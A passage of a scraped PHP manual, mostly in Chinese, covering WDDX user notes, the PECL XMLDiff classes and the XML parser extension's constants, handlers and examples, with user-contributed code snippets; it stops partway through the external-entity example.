<string>blue</string><string>orange</string><string>violet</string></array></var>
<var name='d'><string>colors</string></var></struct></data></wddxPacket>

User Contributed Notes

kangus at jaga dot us 13-Oct-2003 03:57
A function to use for dates with PHP & WDDX
getdate()

$ta="<FORM><TEXTAREA rows=15 cols=80>" ;
$te="</TEXTAREA></FORM>";
$packet_id=wddx_packet_start("Date Example--");
$myDate=getdate();
wddx_add_vars($packet_id,'myDate');
$package=wddx_packet_end($packet_id);
print($ta.$package.$te);

Produces:

<wddxPacket version='1.0'><header><comment>Date Example--</comment></header>
<data><struct><var name='myDate'>
<struct><var name='seconds'><number>12</number></var>
<var name='minutes'><number>55</number></var>
<var name='hours'><number>1</number></var>
<var name='mday'><number>13</number></var>
<var name='wday'><number>1</number></var>
<var name='mon'><number>10</number></var>
<var name='year'><number>2003</number></var>
<var name='yday'><number>285</number></var>
<var name='weekday'><string>Monday</string></var>
<var name='month'><string>October</string></var>
<var name='0'><number>1066031712</number>
</var></struct></var></struct></data></wddxPacket>
tychay at alumni dot caltech dot edu 31-Mar-2002 12:15
The above feature will cause a slight trouble since the name of the variable will always be "wddxtemp" but you can use preg_replace to fix that.

Also, a better approach is to serialize the entire class. WDDX will that write a reserved "php_class_name" variable which can be used to reconstruct the class during a deserialize.
tychay at alumni dot caltech dot edu 30-Mar-2002 10:49
You can use globals to get around the above in classes:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
    $this->str = "test";
    $this->wddx_serialize($this->str);
    header('Content-Type: text/xml');
    echo ($this->wddx);
  }

  function wddx_serialize($var) {
    global $wddxtemp;
    unset($wddxtemp);
    $wddxtemp = $var;
    $this->wddx = wddx_serialize_vars("wddxtemp");
  }
}

new Test();
?>
-terry
tychay at alumni dot caltech dot edu 30-Mar-2002 10:45
You can use globals to get around the above in classes:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
    $this->str = "test";
    $this->wddx_serialize($this->str);
    header('Content-Type: text/xml');
    echo ($this->wddx);
  }

  function wddx_serialize($var) {
    global $wddxtemp;
    unset($wddxtemp);
    $wddxtemp = $var;
    $this->wddx = wddx_serialize_vars("wddxtemp");
  }
}

new Test();
?>
-terry
christian dot knoflach at gmx dot at 21-May-2001 03:56
Be careful using WDDX - functions on object variables. As I just had to find out the following won't work:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
    $this->str = "test";
    $this->wddx = wddx_serialize_vars("this->str");
    print(htmlentities($this->wddx));
  }
}

new Test();
?>

That's what you'll get:
<wddxPacket version='1.0'><header/><data><struct></struct></data></wddxPacket>


XML diff and merge

  • 简介
  • 安装／配置
    • 需求
    • 安装
  • XMLDiff\Base — The XMLDiff\Base class
    • XMLDiff\Base::__construct — Constructor
    • XMLDiff\Base::diff — Produce diff of two XML documents
    • XMLDiff\Base::merge — Produce new XML document based on diff
  • XMLDiff\DOM — The XMLDiff\DOM class
    • XMLDiff\DOM::diff — Diff two DOMDocument objects
    • XMLDiff\DOM::merge — Produce merged DOMDocument
  • XMLDiff\Memory — The XMLDiff\Memory class
    • XMLDiff\Memory::diff — Diff two XML documents
    • XMLDiff\Memory::merge — Produce merged XML document
  • XMLDiff\File — The XMLDiff\File class
    • XMLDiff\File::diff — Diff two XML files
    • XMLDiff\File::merge — Produce merged XML document

User Contributed Notes

There are no user contributed notes for this page.


简介

The extension is able to produce diffs of two XML documents and then to apply the difference to the source document. The diff is a XML document containing copy/insert/delete instruction nodes in human readable format. DOMDocument objects, local files and strings in memory can be processed.

User Contributed Notes

There are no user contributed notes for this page.


需求

libdiffmark - version 0.10 is bundled with the extension. If diffmark is available from your system packages, its usage is strongly encouraged.

libxml extension

DOM extension

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/xmldiff.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/xmldiff/.

User Contributed Notes

There are no user contributed notes for this page.


The XMLDiff\Base class

(PECL xmldiff >= 0.8.0)

简介

Base abstract class for all the comparsion classes in the extension.

类摘要

XMLDiff\Base {
/* 方法 */
public __construct ( string $nsname )
abstract public diff ( mixed $from , mixed $to ) : mixed
abstract public merge ( mixed $src , mixed $diff ) : mixed
}

Table of Contents

  • XMLDiff\Base::__construct — Constructor
  • XMLDiff\Base::diff — Produce diff of two XML documents
  • XMLDiff\Base::merge — Produce new XML document based on diff

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? XMLDiff\Base
  • XMLDiff\Base::diff ?
  • PHP Manual
  • XMLDiff\Base
  • Constructor

XMLDiff\Base::__construct

(PECL xmldiff >= 0.8.0)

XMLDiff\Base::__construct — Constructor

说明

public XMLDiff\Base::__construct ( string $nsname )

Base constructor for all the worker classes in the xmldiff extension.

参数

nsname

Custom namespace name for the diff document. The default namespace is http://www.locus.cz/diffmark and that's enough to avoid namespace conflicts. Use this parameter if you want to change it for some reason.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Produce diff of two XML documents

  • ? XMLDiff\Base::__construct
  • XMLDiff\Base::merge ?
  • PHP Manual
  • XMLDiff\Base
  • Produce diff of two XML documents

XMLDiff\Base::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\Base::diff — Produce diff of two XML documents

说明

abstract public XMLDiff\Base::diff ( mixed $from , mixed $to ) : mixed

Abstract diff method to be implemented by inheriting classes.

The basic purpose of this method is to produce diff of the two documents. The param order matters and will produce different output.

参数

from

Source XML document.

to

Target XML document.

返回值

Implementation dependent.

User Contributed Notes

There are no user contributed notes for this page.


Produce new XML document based on diff

  • ? XMLDiff\Base::diff
  • XMLDiff\DOM ?
  • PHP Manual
  • XMLDiff\Base
  • Produce new XML document based on diff

XMLDiff\Base::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\Base::merge — Produce new XML document based on diff

说明

abstract public XMLDiff\Base::merge ( mixed $src , mixed $diff ) : mixed

Abstract merge method to be implemented by inheriting classes.

Basically the method purpose is to produce a new XML document based on the diff information.

参数

src

Source XML document.

diff

Document produced by the diff method.

返回值

Implementation dependent.

User Contributed Notes

There are no user contributed notes for this page.


The XMLDiff\DOM class

(PECL xmldiff >= 0.8.0)

简介

类摘要

XMLDiff\DOM extends XMLDiff\Base {
/* 方法 */
public diff ( DOMDocument $from , DOMDocument $to ) : DOMDocument
public merge ( DOMDocument $src , DOMDocument $diff ) : DOMDocument
/* 继承的方法 */
public XMLDiff\Base::__construct ( string $nsname )
abstract public XMLDiff\Base::diff ( mixed $from , mixed $to ) : mixed
abstract public XMLDiff\Base::merge ( mixed $src , mixed $diff ) : mixed
}

Table of Contents

  • XMLDiff\DOM::diff — Diff two DOMDocument objects
  • XMLDiff\DOM::merge — Produce merged DOMDocument

User Contributed Notes

There are no user contributed notes for this page.


Diff two DOMDocument objects

  • ? XMLDiff\DOM
  • XMLDiff\DOM::merge ?
  • PHP Manual
  • XMLDiff\DOM
  • Diff two DOMDocument objects

XMLDiff\DOM::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\DOM::diff — Diff two DOMDocument objects

说明

public XMLDiff\DOM::diff ( DOMDocument $from , DOMDocument $to ) : DOMDocument

Diff two DOMDocument instances and produce the new one containing the diff information.

参数

from

Source DOMDocument object.

to

Target DOMDocument object.

返回值

DOMDocument with the diff information or NULL.

User Contributed Notes

jeewiya at gmail dot com 28-Mar-2018 10:43
XMLDiff\DOM can be use like this, for compare xml files changes.

<?php

function getChangeElements($currentContent, $oldContent) {
        try {
            $currentDoc = new DOMDocument();
            $currentDoc->loadXML($currentContent);

            $oldDoc = new DOMDocument();
            $oldDoc->loadXML($oldContent);
            $xmldiff = new XMLDiff\DOM();
            return $xmldiff->diff($oldDoc, $currentDoc);
        } catch (Exception $ex) {
            throw $ex;
        }
    }

getChangeElements('updated.xml', 'old.xml');

?>


Produce merged DOMDocument

  • ? XMLDiff\DOM::diff
  • XMLDiff\Memory ?
  • PHP Manual
  • XMLDiff\DOM
  • Produce merged DOMDocument

XMLDiff\DOM::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\DOM::merge — Produce merged DOMDocument

说明

public XMLDiff\DOM::merge ( DOMDocument $src , DOMDocument $diff ) : DOMDocument

Create new DOMDocument based on the diff.

参数

src

Source DOMDocument object.

diff

DOMDocument object containing the diff information.

返回值

Merged DOMDocument or NULL.

User Contributed Notes

There are no user contributed notes for this page.


The XMLDiff\Memory class

(PECL xmldiff >= 0.8.0)

简介

类摘要

XMLDiff\Memory extends XMLDiff\Base {
/* 方法 */
public diff ( string $from , string $to ) : string
public merge ( string $src , string $diff ) : string
/* 继承的方法 */
public XMLDiff\Base::__construct ( string $nsname )
abstract public XMLDiff\Base::diff ( mixed $from , mixed $to ) : mixed
abstract public XMLDiff\Base::merge ( mixed $src , mixed $diff ) : mixed
}

Table of Contents

  • XMLDiff\Memory::diff — Diff two XML documents
  • XMLDiff\Memory::merge — Produce merged XML document

User Contributed Notes

There are no user contributed notes for this page.


Diff two XML documents

  • ? XMLDiff\Memory
  • XMLDiff\Memory::merge ?
  • PHP Manual
  • XMLDiff\Memory
  • Diff two XML documents

XMLDiff\Memory::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\Memory::diff — Diff two XML documents

说明

public XMLDiff\Memory::diff ( string $from , string $to ) : string

Diff two strings containing XML documents and produce the diff information.

参数

from

Source XML document.

to

Target XML document.

返回值

String with the XML document containing the diff information or NULL.

User Contributed Notes

There are no user contributed notes for this page.


Produce merged XML document

  • ? XMLDiff\Memory::diff
  • XMLDiff\File ?
  • PHP Manual
  • XMLDiff\Memory
  • Produce merged XML document

XMLDiff\Memory::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\Memory::merge — Produce merged XML document

说明

public XMLDiff\Memory::merge ( string $src , string $diff ) : string

Create new XML document based on diffs and source document.

参数

src

Source XML document.

diff

XML document containing diff information.

返回值

String with the new XML document or NULL.

User Contributed Notes

There are no user contributed notes for this page.


The XMLDiff\File class

(PECL xmldiff >= 0.8.0)

简介

类摘要

XMLDiff\File extends XMLDiff\Base {
/* 方法 */
public diff ( string $from , string $to ) : string
public merge ( string $src , string $diff ) : string
/* 继承的方法 */
public XMLDiff\Base::__construct ( string $nsname )
abstract public XMLDiff\Base::diff ( mixed $from , mixed $to ) : mixed
abstract public XMLDiff\Base::merge ( mixed $src , mixed $diff ) : mixed
}

Table of Contents

  • XMLDiff\File::diff — Diff two XML files
  • XMLDiff\File::merge — Produce merged XML document

User Contributed Notes

ngbabu at gmail dot com 21-Nov-2015 08:45
The following snippet will show the use case of XMLDiff\File.

<?php
$dxml=new XMLDiff\File;
$diff = $dxml->diff("file1.xml", "file2.xml");
$difffile = 'difference.xml';
file_put_contents($difffile, $diff);
?>


Diff two XML files

  • ? XMLDiff\File
  • XMLDiff\File::merge ?
  • PHP Manual
  • XMLDiff\File
  • Diff two XML files

XMLDiff\File::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\File::diff — Diff two XML files

说明

public XMLDiff\File::diff ( string $from , string $to ) : string

Diff two local XML files and produce string with the diff information.

参数

from

Path to the source document.

to

Path to the target document.

返回值

String with the XML document containing the diff information or NULL.

User Contributed Notes

There are no user contributed notes for this page.


Produce merged XML document

  • ? XMLDiff\File::diff
  • XML 解析器 ?
  • PHP Manual
  • XMLDiff\File
  • Produce merged XML document

XMLDiff\File::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\File::merge — Produce merged XML document

说明

public XMLDiff\File::merge ( string $src , string $diff ) : string

Create new XML document based on diffs and source document.

参数

src

Path to the source XML document.

diff

Path to the XML document with the diff information.

返回值

String with the new XML document or NULL.

User Contributed Notes

There are no user contributed notes for this page.


XML 解析器

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 事件处理器
  • Case Folding(大写转换)
  • 错误代码
  • 字符编码
  • 范例
    • XML 元素结构例程
    • XML 标签映射例程
    • XML 外部实体例程
  • XML 解析器函数
    • utf8_decode — 将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。
    • utf8_encode — 将 ISO-8859-1 编码的字符串转换为 UTF-8 编码
    • xml_error_string — 获取 XML 解析器的错误字符串
    • xml_get_current_byte_index — 获取 XML 解析器的当前字节索引
    • xml_get_current_column_number — 获取 XML 解析器的当前列号
    • xml_get_current_line_number — 获取 XML 解析器的当前行号
    • xml_get_error_code — 获取 XML 解析器错误代码
    • xml_parse_into_struct — 将 XML 数据解析到数组中
    • xml_parse — 开始解析一个 XML 文档
    • xml_parser_create_ns — 生成一个支持命名空间的 XML 解析器
    • xml_parser_create — 建立一个 XML 解析器
    • xml_parser_free — 释放指定的 XML 解析器
    • xml_parser_get_option — 从 XML 解析器获取选项设置信息
    • xml_parser_set_option — 为指定 XML 解析进行选项设置
    • xml_set_character_data_handler — 建立字符数据处理器
    • xml_set_default_handler — 建立默认处理器
    • xml_set_element_handler — 建立起始和终止元素处理器
    • xml_set_end_namespace_decl_handler — 建立终止命名空间声明处理器
    • xml_set_external_entity_ref_handler — 建立外部实体指向处理器
    • xml_set_notation_decl_handler — 建立注释声明处理器
    • xml_set_object — 在对象中使用 XML 解析器
    • xml_set_processing_instruction_handler — 建立处理指令（PI）处理器
    • xml_set_start_namespace_decl_handler — 建立起始命名空间声明处理器
    • xml_set_unparsed_entity_decl_handler — 建立未解析实体定义声明处理器

User Contributed Notes

marcgear at gmail dot com 04-Aug-2010 10:12
While this SAX event based parser is better for memory management than the tree based parsers of SimpleXML and DOM, the pull-based parser XMLReader is much easier to use than the xml_parser_* functions, and still doesn't require loading the file into memory.


简介

XML(可扩展标记语言，eXtensible Markup Language) 是一种在互联网上用于结构化文档交互的数据格式。 它是互联网协会(W3C)定义的一个标准。与 XML 及其相关技术的信息可访问 » http://www.w3.org/XML/。

此 PHP 扩展实现 支持 James Clark 使用 PHP 编写的 expat。 此工具包可解析(但不能验证) XML 文档。它支持 PHP 所提供的 3 种字符编码： US-ASCII, ISO-8859-1 和 UTF-8。 不支持 UTF-16。

此扩展可 创建 XML 解析器 并为不同的 XML 事件定义 处理程序(handler)。 每个 XML 解析器还存在少数可以调节的 参数。

User Contributed Notes

There are no user contributed notes for this page.


需求

此扩展需要 libxml PHP 扩展。这表示需要使用 --enable-libxml ，尽管这将隐式完成因为 libxml 是缺省开启的。

缺省情况下，此扩展使用expat compat layer 。也可使用expat， 此库位于 » http://www.jclark.com/xml/expat.html。 使用expat库中的 Makefile 是不会默认构建出库文件的，可使用以下构建规则进行构建：

libexpat.a: $(OBJS)
    ar -rc $@ $(OBJS)
    ranlib $@
expat 的源代码 RPM 安装包可在 » http://sourceforge.net/projects/expat/ 找到。

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展默认为启用,编译时可通过下列选项禁用： --disable-xml

这些函数默认为有效的，使用了捆绑的 expat 库。您可以通过参数 --disable-xml 来屏蔽 XML 的支持。如果您将 PHP 编译为 Apache 1.3.9 或更高版本的一个模块， PHP 将自动使用 Apache 捆绑的 expat 库。如果您不希望使用该捆绑的 expat 库，请在运行 PHP 的 configure 配置脚本时使用参数 --with-expat-dir=DIR ，其中 DIR 应该指向 expat 安装的根目录。

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

Alex Ivaylov 15-Feb-2018 09:03
Ubuntu users, please note that this extension might not enabled for you by default. You may need to install by doing "sudo apt-get install php-xml" followed by web server restart.


资源类型

xml_parser_create() 与 xml_parser_create_ns() 返回的 XML 资源会引用 XML 解析器实例，以被此扩展提供的函数使用。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

XML_ERROR_NONE (integer)
XML_ERROR_NO_MEMORY (integer)
XML_ERROR_SYNTAX (integer)
XML_ERROR_NO_ELEMENTS (integer)
XML_ERROR_INVALID_TOKEN (integer)
XML_ERROR_UNCLOSED_TOKEN (integer)
XML_ERROR_PARTIAL_CHAR (integer)
XML_ERROR_TAG_MISMATCH (integer)
XML_ERROR_DUPLICATE_ATTRIBUTE (integer)
XML_ERROR_JUNK_AFTER_DOC_ELEMENT (integer)
XML_ERROR_PARAM_ENTITY_REF (integer)
XML_ERROR_UNDEFINED_ENTITY (integer)
XML_ERROR_RECURSIVE_ENTITY_REF (integer)
XML_ERROR_ASYNC_ENTITY (integer)
XML_ERROR_BAD_CHAR_REF (integer)
XML_ERROR_BINARY_ENTITY_REF (integer)
XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF (integer)
XML_ERROR_MISPLACED_XML_PI (integer)
XML_ERROR_UNKNOWN_ENCODING (integer)
XML_ERROR_INCORRECT_ENCODING (integer)
XML_ERROR_UNCLOSED_CDATA_SECTION (integer)
XML_ERROR_EXTERNAL_ENTITY_HANDLING (integer)
XML_OPTION_CASE_FOLDING (integer)
XML_OPTION_TARGET_ENCODING (integer)
XML_OPTION_SKIP_TAGSTART (integer)
XML_OPTION_SKIP_WHITE (integer)
XML_SAX_IMPL (string)
指定 SAX 实现方法。可为 libxml 或 expat.

User Contributed Notes

There are no user contributed notes for this page.


事件处理器

XML 事件处理器的定义如下：

被支持的 XML 处理器
PHP 处理器函数 | 事件描述
xml_set_element_handler() | 当 XML 解析器遇到开始或结束标签时，会触发元素事件。 开始标签和结束标签有不同的处理器。
xml_set_character_data_handler() | 字符数据范指 XML 文档中所有非标记的内容，包括标签之间的空格。 注意，XML 解析器不会添加或删除任何空格，由应用程序(你)来判断空格是否有意义。
xml_set_processing_instruction_handler() | PHP 程序员必须熟练掌握处理指令(PI)。<?php ?>是处理指令， 其中php被称为"处理指令对象"。 除所有以"XML"开头的处理指令对象是系统保留的外， 其他的处理函数均是由应用程序指定的。
xml_set_default_handler() | 不执行其他处理函数，则会执行缺省的处理函数。 在缺省的处理函数中可取得如 XML 和文档类型声明等信息。
xml_set_unparsed_entity_decl_handler() | 未解析的实体声明(NDATA)会调用此处理函数。
xml_set_notation_decl_handler() | 符号声明会调用此处理函数
xml_set_external_entity_ref_handler() | 当 XML 解析器发现对外部已解析的普通实体的引用时， 会调用此处理函数。例如，引用一个文件或URL。实例可参见 XML 外部实体例程。

User Contributed Notes

There are no user contributed notes for this page.


Case Folding(大写转换)

元素处理函数可取得元素名称转换为 case-folded(大写字母)形式。 Case-folding 被定义为"将非大写字母替换为相对应的大写字母的字符串操作"。换句话说，在 XML 中，case-folding 就是转换为大写。

默认情况下，所有的通过处理函数的元素名都被转换为大写字母。每个 XML 解析器可分别通过xml_parser_get_option()与 xml_parser_set_option()函数来查询与控制此项功能。

User Contributed Notes

There are no user contributed notes for this page.


错误代码

下列常量是 XML 相关的错误代码(xml_parse()函数的返回值):

  • XML_ERROR_NONE
  • XML_ERROR_NO_MEMORY
  • XML_ERROR_SYNTAX
  • XML_ERROR_NO_ELEMENTS
  • XML_ERROR_INVALID_TOKEN
  • XML_ERROR_UNCLOSED_TOKEN
  • XML_ERROR_PARTIAL_CHAR
  • XML_ERROR_TAG_MISMATCH
  • XML_ERROR_DUPLICATE_ATTRIBUTE
  • XML_ERROR_JUNK_AFTER_DOC_ELEMENT
  • XML_ERROR_PARAM_ENTITY_REF
  • XML_ERROR_UNDEFINED_ENTITY
  • XML_ERROR_RECURSIVE_ENTITY_REF
  • XML_ERROR_ASYNC_ENTITY
  • XML_ERROR_BAD_CHAR_REF
  • XML_ERROR_BINARY_ENTITY_REF
  • XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF
  • XML_ERROR_MISPLACED_XML_PI
  • XML_ERROR_UNKNOWN_ENCODING
  • XML_ERROR_INCORRECT_ENCODING
  • XML_ERROR_UNCLOSED_CDATA_SECTION
  • XML_ERROR_EXTERNAL_ENTITY_HANDLING

User Contributed Notes

Teet 24-May-2019 02:04
If you wonder, what values those constant have, here you go:

<?php
XML_ERROR_NONE = 0
XML_ERROR_NO_MEMORY = 1
XML_ERROR_SYNTAX = 2
XML_ERROR_NO_ELEMENTS = 3
XML_ERROR_INVALID_TOKEN = 4
XML_ERROR_UNCLOSED_TOKEN = 5
XML_ERROR_PARTIAL_CHAR = 6
XML_ERROR_TAG_MISMATCH = 7
XML_ERROR_DUPLICATE_ATTRIBUTE = 8
XML_ERROR_JUNK_AFTER_DOC_ELEMENT = 9
XML_ERROR_PARAM_ENTITY_REF = 10
XML_ERROR_UNDEFINED_ENTITY = 11
XML_ERROR_RECURSIVE_ENTITY_REF = 12
XML_ERROR_ASYNC_ENTITY = 13
XML_ERROR_BAD_CHAR_REF = 14
XML_ERROR_BINARY_ENTITY_REF = 15
XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF = 16
XML_ERROR_MISPLACED_XML_PI = 17
XML_ERROR_UNKNOWN_ENCODING = 18
XML_ERROR_INCORRECT_ENCODING = 19
XML_ERROR_UNCLOSED_CDATA_SECTION = 20
XML_ERROR_EXTERNAL_ENTITY_HANDLING = 21
?>


字符编码

PHP 的 XML 扩展通过几种不同的字符编码支持» Unicode 字符集。 有两类字符编码， 原始编码 和 目标编码. 在PHP的内部展现中，文档始终是使用UTF-8编码。

当 XML 被 解析 后，原始编码就完成了。 在创建 XML 解析器时, 可以指定原始编码(在XML 解析器此后的生命周期里，不能修改此编码)。 被支持的原始编码有 ISO-8859-1, US-ASCII 和 UTF-8. 前两种是单字节编码, 即每一个字符表现为一个字节。 UTF-8 可将字符编码为一串不定数量(最高21)的位(bit), 排列成1到4个字节。 PHP 中使用的默认原始编码是ISO-8859-1.

当 PHP 将数据传给 XML 处理函数时，目标编码就完成了。 在创建 XML 处理器时，目标编码被设定为与原始编码相同，但可任意修改。 目标编码会影响字符数据及标签名，与处理指令目标。

如 XML 解析器遇到原始编码所能表示的范围之外的字符时，会返回一个错误。

如 PHP 遇到在被解析的 XML 文档中不能用所指定的目标编码表示的字符时， 这个问题字符会被"降级"。通常来说，就是那些字符会被替换成问号(?)。

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • XML 元素结构例程
  • XML 标签映射例程
  • XML 外部实体例程

User Contributed Notes

There are no user contributed notes for this page.


XML 元素结构例程

第一个例程缩进显示文档中的开始元素结构。

Example #1 显示 XML 元素结构

<?php
$file = "data.xml";
$depth = array();

function startElement($parser, $name, $attrs)
{
    global $depth;
    for ($i = 0; $i < $depth[$parser]; $i++) {
        echo "  ";
    }
    echo "$name\n";
    $depth[$parser]++;
}

function endElement($parser, $name)
{
    global $depth;
    $depth[$parser]--;
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);
?>

User Contributed Notes

Sample at hotmail dot com 04-Jul-2013 10:32
<?php

public static function xml2array($element, $arr = array())
    {
        if(is_string($element))
        {
            $element = (strlen($element) > 5 && substr($element, -4) === '.xml')
                            ? simplexml_load_file(DATAPATH.$element)
                            : simplexml_load_string($element);
        }
         $iter = 0;
        foreach($element->children() as $b)
        {
            $a = $b->getName();
            if(!$b->children()){
                    $arr[$a] = trim($b[0]);
            }
            else{
                    $arr[$a][$iter] = array();
                    $arr[$a][$iter] = self::xml2array($b,$arr[$a][$iter]);
            }
                $iter++;
        }
        return $arr;
    }
}

?>
roan at horning dot us 30-Oct-2009 09:07
The following example will echo back an xml file using the basic event based parser.  Currently, (at least in the version of PHP5 I'm using) it will skip The XML declaration and the Doctype declaration--they don't seem to be captured by the default handler.

<?php
echo "<pre>";

$file = "test.xml";
echo $file."\n";
global $inTag;

$inTag = "";
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0);
xml_parser_set_option($xml_parser, XML_OPTION_SKIP_WHITE, 1);
xml_set_processing_instruction_handler($xml_parser, "pi_handler");
xml_set_default_handler($xml_parser, "parseDEFAULT");
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "contents");

if (!($fp = fopen($file, "r"))) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
       die( sprintf("XML error: %s at line %d",
                            xml_error_string(xml_get_error_code($xml_parser)),
                            xml_get_current_line_number($xml_parser)));
    }
}
while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
       die( sprintf("XML error: %s at line %d",
                            xml_error_string(xml_get_error_code($xml_parser)),
                            xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);

function startElement($parser, $name, $attrs) {

    global $inTag;
    global $depth;

    $padTag = str_repeat(str_pad(" ", 3), $depth);

    if (!($inTag == "")) {
        echo "&gt;";
    }
    echo "\n$padTag&lt;$name";
    foreach ($attrs as $key => $value) {
        echo "\n$padTag".str_pad(" ", 3);
        echo " $key=\"$value\"";
    }
    $inTag = $name;
    $depth++;
}

function endElement($parser, $name) {

    global $depth;
   global $inTag;
    global $closeTag;

    $depth--;

   if ($closeTag == TRUE) {
       echo "&lt/$name&gt;";
       $inTag = "";
   } elseif ($inTag == $name) {
       echo " /&gt;";
       $inTag = "";
   } else {
         $padTag = str_repeat(str_pad(" ", 3), $depth);
       echo "\n$padTag&lt/$name&gt;";
    }
}

function contents($parser, $data) {

    global $closeTag;

    $data = preg_replace("/^\s+/", "", $data);
    $data = preg_replace("/\s+$/", "", $data);

    if (!($data == ""))  {
        echo "&gt;$data";
        $closeTag = TRUE;
    } else {
        $closeTag = FALSE;
     }
}

function parseDEFAULT($parser, $data) {

    $data = preg_replace("/</", "&lt;", $data);
    $data = preg_replace("/>/", "&gt;", $data);
    echo $data;
}

function pi_handler($parser, $target, $data) {

    echo "&lt;?$target $data?&gt;\n";
}
echo "</pre>";
?>


XML 标签映射例程

Example #1 将 XML 映射为 HTML

此例程直接地将 XML 标签映射为 HTML 标签。 在"map_array"中未找到的元素将被忽略。 当然，此例程只针对特定的 XML 文档类型起作用。

<?php
$file = "data.xml";
$map_array = array(
    "BOLD"     => "B",
    "EMPHASIS" => "I",
    "LITERAL"  => "TT"
);

function startElement($parser, $name, $attrs)
{
    global $map_array;
    if (isset($map_array[$name])) {
        echo "<$map_array[$name]>";
    }
}

function endElement($parser, $name)
{
    global $map_array;
    if (isset($map_array[$name])) {
        echo "</$map_array[$name]>";
    }
}

function characterData($parser, $data)
{
    echo $data;
}

$xml_parser = xml_parser_create();
// use case-folding so we are sure to find the tag in $map_array
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);
?>

User Contributed Notes

There are no user contributed notes for this page.


XML 外部实体例程

此例程用于加亮 XML 代码。举例说明如何使用外部实体引用来包含和解析其他文档， 及处理指令是如何被处理的，及判断处理指令所包含代码是否"可信任"的一种方法

用于此例程的 XML 文档位于此例程的下方(xmltest.xml 和 xmltest2.xml)。

Example #1 外部实体例程

<?php
$file = "xmltest.xml";

function trustedFile($file)
{
    // 仅信任本地文件
    if (!preg_match("@^([a-z]+)\:\/\/@i", $file)
        && fileowner($file) == getmyuid()) {
            return true;
    }
    return false;
}

function startElement($parser, $name, $attribs)
{
    echo "&lt;<font color=\"#0000cc\">$name</font>";
    if (count($attribs)) {
        foreach ($attribs as $k => $v) {
            echo " <font color=\"#009900\">$k</font>=\"<font
                   color=\"#990000\">$v</font>\"";
        }
    }
    echo "&gt;";
}

function endElement($parser, $name)
{
    echo "&lt;/<font color=\"#0000cc\">$name</font>&gt;";
}

function characterData($parser, $data)
{
    echo "<b>$data</b>";
}

function PIHandler($parser, $target, $data)
{
    switch (strtolower($target)) {
        case "php":
            global $parser_file;
            // 如何要解析的文档是"可信任"的, 则说明可安全
            // 地执行其内部的 PHP 代码。否则，显示代码内容。
            if (trustedFile($parser_file[$parser])) {
                eval($data);
            } else {
                printf("Untrusted PHP code: <i>%s</i>",
                        htmlspecialchars($data));
            }
            break;
    }
}

function defaultHandler($parser, $data)
{
    if (substr($data, 0, 1) == "&" && substr($data, -1, 1) == ";") {
        printf('<font color="#aa00aa">%s</font>',
                htmlspecialchars($data));
    } else {
        printf('<font size="-1">%s</font>',
                htmlspecialchars($data));
    }
}

function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId,
                                  $publicId) {
    if ($systemId) {
        if (!list($parser, $fp) = new_xml_parser($systemId)) {
            printf("Could not open entity %s at %s\n", $openEntityNames,
                   $systemId);
            return false;
        }
        while ($data = fread($fp, 4096)) {
            if (!xml_parse($parser, $data, feof($fp))) {
                printf("XML error: %s at line %d while parsing entity %s\n",
                       xml_error_string(xml_get_error_code($parser)),
                       xml_get_current_line_number($parser), $openEntityNames);
                xml_parser_free($parser);
                return false;
            }
        }
        xml_parser_free($parser);
        return true;
    }
    return false;
}

function new_xml_parser($file)
{
    global $parser_file;

    $xml_parser = xml_parser_create();
    xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 1);
    xml_set_element_handler($xml_parser, "startElement", "endElement");
    xml_set_character_data_handler($xml_parser, "characterData");
